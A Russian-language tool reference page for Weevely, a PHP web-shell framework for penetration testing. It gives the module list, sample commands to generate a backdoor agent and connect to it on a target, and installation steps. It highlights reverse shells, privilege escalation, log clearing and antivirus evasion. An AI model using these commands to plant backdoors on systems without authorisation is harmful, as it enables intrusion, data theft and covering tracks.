Weevely
Описание Weevely
Weevely – это веб-шелл командной строки, динамически распространяемый по сети во время выполнения, предназначен для удалённого администрирования и тестирования на проникновение. Просто закиньте PHP скрипт, и программа обеспечит похожий на ssh терминал даже в ограниченном окружении.
Оставляющий мало следов агент и более 30 модулей формируют расширяемый вреймворк для администрирования веб-аккаунтов, пост эксплуатационного повышения привилегий веб-серверов и латерального продвижения по сети.
Функции модулей:
- Похожий на SSH терминал
- Запуск SQL консоли, завёрнутой на цель
- Пропуск HTTP трафика до цели через прокси
- Аудит безопасности настройки хоста
- Локальное монтирование целевой файловой системы
- Проведение сетевых сканирований завёрнутых на цель
- Выгрузка и загрузка файлов
- Порождение обратного и прямого TCP шелла
- Брут-форс внутренних служб
- Управление сжатыми архивами
- Агент бэкдора
Удалённым агентом является маленький PHP скрипт, которые может расширять свою функциональность по сети в реальном времени. Код агента является полиморфным, трудно выявляемым антивирусами, а трафик внутри HTTP запросов обфусцирован.
Домашняя страница: https://github.com/epinna/weevely3
Автор:
Лицензия: GPLv3
Справка по Weevely
использование:
weevely [-h] {terminal,session,generate} ...
позиционные аргументы: {terminal,session,generate} terminal Запустить терминал session Восстановить существующий файл сеанса generate Сгенерировать новый пароль optional arguments: -h, --help показать справку и выйти
Руководство по Weevely
Страница man отсутствует.
Первый запуск Weevely
Генерация агента бэкдора
Для генерации нового агента, просто используйте опцию generate, передайте пароль и путь до файла в качестве аргументов.
./weevely.py generate mypassword ~/agent.php Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size.
Затем, выгрузите сгенерированный агент в веб папку цели. Убедитесь, что скрипт доступен и может исполняться на веб-сервере.
Подключение к агенту
Запустите скрипт weevely для подключения к удалённому агенту.
./weevely.py http://target/agent.php mypassword weevely>
Первое приглашение weevely> означает, что ещё отсутствует подключение, перед подключением вы можете установить полезные опции, такие как использование прокси. Запуск реальных команд автоматически запустит сессию на удалённую цель.
weevely> ls agent.php index.html joomla-3.2.1 www-data@target:/var/www $ cd .. www-data@target:/var/ $ whoami www-data www-data@target:/var/ $ uname -a Linux ubuntu 3.2.0-65-generic 99-Ubuntu SMP Fri Jul 4 21:04:27 UTC 2014 i686 i686 i386 GNU/Linux www-data@target:/var/ $
Доступные команды:
:audit_filesystem Аудит файловой системы на неверные разрешения. :audit_etcpasswd Различными техниками получить /etc/passwd. :audit_linuxprivchecker Выгрузить и выполнить linuxprivchecker :audit_disablefunctionbypass Обход ограничений системных disable_function через mod_cgi и .htaccess :audit_suidsgid Поиск файлов с флагами SUID или SGID. :audit_phpconf Аудит PHP конфигурации. :shell_sh Выполнить Shell команды. :shell_su Повышение привилегий с su командой. :shell_php Выполнить PHP команды. :system_info Собрать информацию о системе. :system_extensions Собрать список расширений PHP и веб-сервера. :backdoor_tcp Породить шелл на TCP порту. :backdoor_reversetcp Выполнить обратный TCP шелл. :bruteforce_sql Брутфорс базы данных SQL. :file_rm Удалить удалённый файл. :file_download Загрузить файл из удалённой файловой системы. :file_webdownload Загрузить URL на файловую систему :file_cd Изменить текущую рабочую директорию. :file_edit Редактировать удалённый файл в локальном редакторе. :file_upload Выгрузить файл на удалённую файловую систему. :file_ls Список содержимого директории. :file_upload2web Выгрузить файл автоматически в веб-папку и получить соответствующий URL. :file_mount Смонтировать удалённую файловую систему используя HTTPfs. :file_enum Проверить существования и разрешения списка путей. :file_bzip2 Сжать или разжать bzip2 файлы. :file_clearlog Простая очистка лога :file_grep Напечатать строки, соответствующие образцу, из множества файлов. :file_find Найти файлы с данными именами и атрибутами. :file_check Получить информацию об удалённом файле. :file_tar Сжать или разжать tar архивы. :file_zip Сжать или разжать zip файлы. :file_touch Изменить временную метку файла. :file_gzip Сжать или разжать gzip файлы. :file_cp Копировать единичный файл. :file_read Прочитать удалённый файл из удалённой файловой системы. :sql_console Выполнить SQL запрос или запустить консоль. :sql_dump Множественная замена СУБД mysqldump. :net_phpproxy Установка PHP прокси на цель. :net_mail Отправить письмо. :net_curl Выполнить запрос в стиле a curl HTTP. :net_scan Сканирование портов TCP. :net_proxy Пропускать через прокси локальный HTTP трафик проходящий через цель. :net_ifconfig Получить адреса сетевых интерфейсов.
Примеры запуска Weevely
Сгенерировать PHP бэкдор (generate) и сохранить в директорию пользователя в файл (~/index2.php) защищённый данным паролем (s3cr3t).
weevely generate s3cr3t ~/index2.php Generated backdoor with password 's3cr3t' in '/home/mial/index2.php' of 1325 byte size.
Подключиться к удалённому бэкдору, размещённому по адресу (http://example.org/index2.php) с данным паролем (s3cr3t).
weevely http://example.org/index2.php s3cr3t
Установка Weevely
Программа предустановлена в Kali Linux.
Установка в BlackArch
Программа предустановлена в BlackArch.
Установка Weevely в Linux (на примере Debian/Ubuntu/Linux Mint)
Установка необходимых пакетов
sudo apt-get install g++ python-pip libyaml-dev python-dev
Установка зависимостей
sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade
Скачиваем файлы программы
git clone https://github.com/epinna/weevely3.git cd weevely3/ python2 ./weevely.py
Установка Weevely в OS X
Следующие примеры выполнялись на OS X с системой пакетов Macports.
sudo port install python27 py27-pip sudo port select --set pip pip27 sudo port select --set python python27 # В идеале, на этом этапе вам следует установить библиотеку editline (http://thrysoee.dk/editline/) # чтобы получить рабочий авто завершитель строк в терминале. sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade
Установка Weevely в Windows
Следующие примеры выполнены на Microsoft Windows 7 с Python версии 2.7. Весьма вероятно, они будут работать и на других версиях Windows. Самое первое, установите Python 2.7 и менеджер пакетов pip используя ez_setup.py как объяснено в этой инструкции.
# Войдите в папку, которая позволяет вызвать pip.exe, обычно это C:\Python27\Scripts\ если не установлен %PATH% # установите следующие зависимости > pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade
Comments are Closed